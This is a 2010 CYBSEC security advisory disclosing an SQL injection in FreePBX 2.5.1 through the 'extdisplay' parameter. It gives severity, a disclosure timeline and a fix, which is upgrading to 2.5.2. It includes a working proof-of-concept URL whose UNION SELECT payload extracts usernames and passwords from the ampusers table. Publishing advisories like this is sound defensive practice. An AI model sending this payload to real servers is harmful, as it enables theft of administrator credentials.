Advisory Name: SQL injection in FreePBX 2.5.1

Internal Cybsec Advisory Id: 2010-0103

Vulnerability Class: SQL injection

Release Date: 15/01/2010

Affected Applications: Confirmed in FreePBX 2.5.1. Other versions may also be affected.

Affected Platforms: Any running FreePBX 2.5.1

Local / Remote: Remote

Severity: Medium – CVSS 6.3 (AV:N/AC:M/Au:S/C:C/I:N/A:N)

Researcher: Ivan Huertas

Vendor Status: To be confirmed

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

A vulnerability has been discovered in FreePBX, which can be exploited by malicious people to conduct SQL injection attacks.

Input passed via the "extdisplay" parameter to config.php is not properly sanitized before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The vulnerability is confirmed in version 2.5.1 Other versions may also be affected.

Proof of Concept:

```
http://xxx.xxx.xxx.xxx/admin/config.php?display=did&didfilter=&extdisplay=12%22%20union%20select%20username,password,sections,%221%22,%222%22,%223%22,%224%22,%225%22,%226%22,%227%22,%228%22,%229%22,%2210%22,%2211%22,%2212%22%20from%20ampusers%20where%20%22%22=%22
```

Impact:

Execute arbitrary SQL queries.

Solution:

Update to FreePBX 2.5.2 or greater

- http://www.freepbx.org/trac/changeset/7594
- http://www.freepbx.org/trac/changeset/7640

Vendor Response:

2009-30-12 – Vulnerability was identified
2010-01-07 – Vendor contacted
2010-01-15 – Vulnerability published
Patches were available before the vulnerability was discovered.

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
ihuertas<at> cybsec <dot> com

About CYBSEC S.A. Security Systems:

Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com